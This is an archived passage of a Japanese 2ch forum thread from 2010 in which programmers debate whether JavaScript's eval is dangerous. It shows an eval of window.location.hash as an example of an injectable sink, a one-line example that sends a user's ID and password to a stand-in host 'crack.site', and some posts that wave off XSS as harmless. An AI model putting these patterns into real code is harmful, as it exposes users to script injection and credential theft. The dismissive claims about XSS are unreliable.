のくす牧場
コンテンツ
牧場内検索
カウンタ
総計:127,062,843人
昨日:no data人
今日:
最近の注目
人気の最安値情報

    私的良スレ書庫

    不明な単語は2ch用語を / 要望・削除依頼は掲示板へ。不適切な画像報告もこちらへどうぞ。 / 管理情報はtwitter
    ログインするとレス評価できます。 登録ユーザには一部の画像が表示されますので、問題のある画像や記述を含むレスに「禁」ボタンを押してください。

    元スレ+ JavaScript の質問用スレッド vol.76 +

    JavaScript スレッド一覧へ / JavaScript とは? / 携帯版 / dat(gz)で取得 / トップメニュー
    スレッド評価: スレッド評価について
    みんなの評価 :
    タグ : - 計算機プログラミング + 追加: タグについて ※前スレ・次スレは、スレ番号だけ登録。駄スレにはタグつけず、スレ評価を。荒らしタグにはタグで対抗せず、タグ減点を。
    レスフィルター : (試験中)
    ←前へ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 次へ→ / 要望・削除依頼は掲示板へ / 管理情報はtwitter
    851 : Name_Not - 2010/03/07(日) 20:18:33 ID:??? (+46,-30,-36)
    (function(){
      var script = window.location.hash;
      eval(script);
    })();
    こんなのがあると危ないってだけ
    852 : Name_Not - 2010/03/07(日) 20:23:55 ID:??? (-2,-30,-30)
    hashだから#が含まれてたな
    var script = window.location.hash.substr(1);
    に訂正
    853 : 849 - 2010/03/07(日) 20:27:32 ID:??? (+115,+29,-21)
    >>850
    全然別のページを表示させるのは閲覧者側?サイト制作者側?
    どちらに対して危険なのかがよくわからないのです。

    >>851が危険なのは理解しました。
    854 : Name_Not - 2010/03/07(日) 20:43:19 ID:??? (+108,+29,-60)
    evalの引数チェックなんてどうやんの?
    渡すのは文字列だから、適当に分割して渡したり変数に入れて渡したり
    どうとでも出来ちゃうような気がするけど。
    855 : Name_Not - 2010/03/07(日) 20:49:37 ID:??? (+63,+30,+0)
    evalに渡す引数が完全にユーザのコントロール下にあるならまるで問題ないのに、
    たまにevalってだけで条件反射的にダメ出しする人がいるのは何なんだろう。

    引数チェックが甘いってんなら、それはスクリプト作者の問題であって
    eval自身の抱える問題ではないと思うんだが。
    適切に実装してあれば何の問題もない。
    いや、たとえ引数がノーチェックであっても、ユーザのコントロール下にあるなら
    何等問題はないわけで。

    現実問題として甘い実装をするヘボ作者が後を絶たないから
    とにかくevalそれ自体が危険であるかのように騒いで問題意識を植え付け
    evalを使いにくい(慎重に使わざるを得ない)雰囲気作りをしていこう!
    ってことなんかな。

    「危ない引数を渡すと危ないよ」ってのはある意味当たり前で、
    それはevalに限らずコマンドプロンプトだって何だってそうなわけで。
    856 : 846 - 2010/03/07(日) 20:54:32 ID:??? (+146,+29,-61)
    >>853
    危ないのは閲覧者側でしょうね。個人情報をキー入力して盗まれる可能性が

    >>854
    文字列として分割すると文字列としてしか認識されなくなるので合体しても意味ないし、
    チェックされずに変数に入れる余地もないから無理では?
    857 : Name_Not - 2010/03/07(日) 20:55:47 ID:??? (+57,+29,-2)
    サーバー側でちゃんとチェックしていれば大丈夫だと思うけど
    858 : 853 - 2010/03/07(日) 21:02:50 ID:??? (+74,+29,-26)
    >>856
    あぁ、そっちでしたか。
    >>846の書き方見てサイト管理者&閲覧者にとってかと思ってしまい頭が???な状態でした。
    859 : 854 - 2010/03/07(日) 21:09:25 ID:??? (+74,+27,-33)
    >>856
    確かに。何か勘違いしてたw
    どう渡そうがチェッカーが受け取るのも普通に文字列だわなw
    860 : Name_Not - 2010/03/07(日) 21:14:50 ID:??? (+91,+29,-18)
    クライアントサイドで危険も何もないだろ…
    861 : Name_Not - 2010/03/07(日) 21:43:16 ID:??? (+0,-29,-160)
    new Image().src='http://crack.site/'+id+pass
    みたいなことができてしまえば1行でユーザーのパスが取れるから、慎重になるのは当然のこと。
    安全に書こうと思ったら、何が実行されるかわかりにくいevalは避ける方が自然だろ。
    ポイントはわかりにくいってところだからな。

    もちろん、evalを使うしかないなら使えばいいし、使う必要がないならevalは使わない方がいい。
    「evalは使わない方がいい」を否定する理由があるなら是非聞いてみたい。
    862 : Name_Not - 2010/03/07(日) 21:50:48 ID:??? (+52,+29,-18)
    そんなことが出来てしまう時点でXSS脆弱性を孕んでます
    終わり
    863 : Name_Not - 2010/03/07(日) 21:52:54 ID:vOAs1Osi (-14,+29,-113)
    そもそも外の入力をそのままevalしたら問題あるってのはJavaScriptに限った話じゃないよね
    自分のサイトで自分がコントロールできている値をevalするなら問題なんてない
    ただ、「自分でコントロールできている」って思い込んで外から来た値をevalしちゃう人が居るから
    >>861の言う通り使うしかないなら使えばいいけど使う必要がないなら使わない方がいい
    864 : Name_Not - 2010/03/07(日) 22:00:25 ID:??? (+57,+29,-50)
    XSS自体も金が絡んだり、個人情報持っているようなサイトでやらない限り大した問題じゃない、
    無料のレンタルスペース借りたら同じ事出来るでしょw
    evalなんて好きに使って構わない
    865 : Name_Not - 2010/03/07(日) 22:13:03 ID:??? (+63,+30,-78)
    外の入力からサーバーのデータを変更するってんなら確かに慎重になるべきだけど
    サーバーから信頼のおけるデータをロードしてevalするのは別にいいでしょ
    ただそれにしたってサーバーサイドでチェックすり抜けて危険な状況に陥るわけだから
    チェックを何重にするってのもわかるけどなんか気持ち悪いな
    866 : Name_Not - 2010/03/07(日) 22:17:02 ID:??? (-1,-29,-38)
    evalってevaluationの略?だから読みはエバル?
    867 : Name_Not - 2010/03/07(日) 22:24:16 ID:??? (+14,-3,+1)
    イ・ヴァル
    869 : Name_Not - 2010/03/07(日) 22:40:24 ID:??? (-1,-29,-12)
    javascript eval 捨てたい
    870 : Name_Not - 2010/03/07(日) 22:48:06 ID:??? (+57,+29,-66)
    要は、何がどう危険なのかを理解しないままに
    思考停止に陥って
    ただ闇雲に「eval危険eval危険」と
    唱えているのが一部いるってことだな
    871 : Name_Not - 2010/03/07(日) 22:53:46 ID:??? (+17,-16,-44)
    eval自体は危険じゃないな。bookmarkletで自由に使えるんだから。
    >>851みたいなのが書いてあればそりゃあアウトに決まってる。
    872 : Name_Not - 2010/03/07(日) 22:54:32 ID:??? (+56,+28,-29)
    ていうかjsonのパース以外でeval使う場面にまだ出くわしてないんだが
    873 : Name_Not - 2010/03/07(日) 23:03:59 ID:??? (+65,+30,+0)
    >>833-840
    874 : Name_Not - 2010/03/07(日) 23:04:02 ID:??? (+68,+28,-3)
    >>860
    たぶんPHPと混同してるんだろう
    875 : Name_Not - 2010/03/07(日) 23:12:13 ID:??? (+91,+30,-48)
    日本のことだし、多分「eval子タン」とかいう萌えキャラ作って
    「べ、別に危険じゃないんだからねッッ!!」とでも言わせときゃ
    みんな使ってくれるようになると思う
    876 : Name_Not - 2010/03/07(日) 23:18:24 ID:??? (+28,+0,-103)
    危険じゃないって主張するのは構わんが、
    evalを使うと(高速になる|安全になる|可読性があがる)といった理由がない限りは
    「evalは使わない方がいい」だろ
    evalを擁護する理由がわからん
    877 : Name_Not - 2010/03/07(日) 23:20:59 ID:??? (+104,+29,-5)
    >>875
    それだとなんか逆に危険な感じがするのは勘違いなのだろうか
    878 : Name_Not - 2010/03/07(日) 23:24:05 ID:??? (+52,+29,-2)
    読みはイ・ヴァルコタンなの・・・
    879 : Name_Not - 2010/03/07(日) 23:24:38 ID:??? (+5,-23,-14)
    json扱う上で十分有用だと思うけど
    880 : Name_Not - 2010/03/07(日) 23:26:09 ID:??? (+71,+29,-28)
    >>877
    ナウシカが「ここには何も無いわ」とわざわざ言って何か有るように感じさせるのと同じ事
    881 : Name_Not - 2010/03/07(日) 23:26:33 ID:??? (+0,-28,-23)
    evalってなんかinnerHTMLみたいだね
    882 : Name_Not - 2010/03/07(日) 23:29:01 ID:??? (-7,-29,-14)
    >>879
    json2.js使えよ
    883 : Name_Not - 2010/03/07(日) 23:30:55 ID:??? (+91,+29,-21)
    eval使えば楽。じゃだめなのか?
    forだって使い方間違えたら危険なんじゃね
    884 : Name_Not - 2010/03/07(日) 23:32:04 ID:??? (+56,-8,-8)
    イベント処理にJavaScriptで追加する記述も危ないんじゃないかな
    886 : Name_Not - 2010/03/07(日) 23:34:46 ID:??? (+51,+24,-15)
    >>882
    ぱっとソース見た感じevalという単語があったんだが
    887 : Name_Not - 2010/03/07(日) 23:38:32 ID:??? (+17,-29,-67)
    json2.jsはJSONとしての正当性チェックして、最終的にはevalしてた気がする
    >>846 もjson2.js使うべきだな
    888 : Name_Not - 2010/03/07(日) 23:40:39 ID:??? (+36,-29,-38)
    JScriptはネイティブでJSONをサポートし始めたな。
    889 : Name_Not - 2010/03/07(日) 23:43:45 ID:??? (+102,+29,-43)
    >>883
    >>884
    なんで危ないかどうかって話にもってくの?

    >>888
    そういやjson2.jsはブラウザがJSONサポートしてれば、そっち使うからそれもメリットだね
    890 : Name_Not - 2010/03/07(日) 23:46:46 ID:??? (+5,-29,-111)
    >>887
    JSONはeval()関数を使うことがベースとなっているようで

    >JSONは前述の通り、JavaScriptのサブセットなのでeval()関数で評価することで
    >JavaScriptオブジェクトに変換することができるという特徴があります
    891 : Name_Not - 2010/03/07(日) 23:49:38 ID:??? (+105,+29,-51)
    >>889
    あれ、「evalは使わない方がいい」理由は「危険だから」じゃなかったの?
    892 : Name_Not - 2010/03/07(日) 23:50:52 ID:??? (-1,-29,-31)
    ただ単にeval使うよりはjson2.js使ったほうがいいか
    893 : Name_Not - 2010/03/07(日) 23:53:44 ID:??? (+72,+29,-23)
    >>891
    「evalは危険だから使わないほうがいい」って主張してるやつはこのスレのどこにいるんだよ。
    894 : Name_Not - 2010/03/07(日) 23:56:16 ID:??? (+29,-30,-44)
    eval使わなくてもsetTimeout("alert('')",0)みたいに出来るし
    895 : Name_Not - 2010/03/07(日) 23:56:42 ID:??? (+61,+29,-2)
    >>835あたりからおかしくなったな。このスレ。
    896 : Name_Not - 2010/03/07(日) 23:58:53 ID:??? (+47,+24,-1)
    言語スレではよくあること
    897 : Name_Not - 2010/03/08(月) 00:04:05 ID:??? (-2,-30,-21)
    (new Function("alert('')"))()みたいにも出来る!
    898 : Name_Not - 2010/03/08(月) 00:08:30 ID:??? (+68,+29,-19)
    んで結局のところなんでevalって使わない方が良いんだ?
    899 : Name_Not - 2010/03/08(月) 00:10:09 ID:??? (+14,-13,-19)
    サーバーアプリが脆弱な場合は使わないほうがいいんじゃないか
    900 : Name_Not - 2010/03/08(月) 00:10:37 ID:??? (+57,+29,-68)
    Firefoxの拡張界隈ではevalを使って既存の関数の動作を書き換えたりするらしい
    そういう動作をする拡張はレビュワーに「むやみにeval使うな!」って怒られるとか
    ←前へ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 次へ→ / 要望・削除依頼は掲示板へ / 管理情報はtwitterで / JavaScript スレッド一覧へ
    スレッド評価: スレッド評価について
    みんなの評価 :
    タグ : - 計算機プログラミング + 追加: タグについて ※前スレ・次スレは、スレ番号だけ登録。駄スレにはタグつけず、スレ評価を。荒らしタグにはタグで対抗せず、タグ減点を。

    類似してるかもしれないスレッド


    トップメニューへ / →のくす牧場書庫について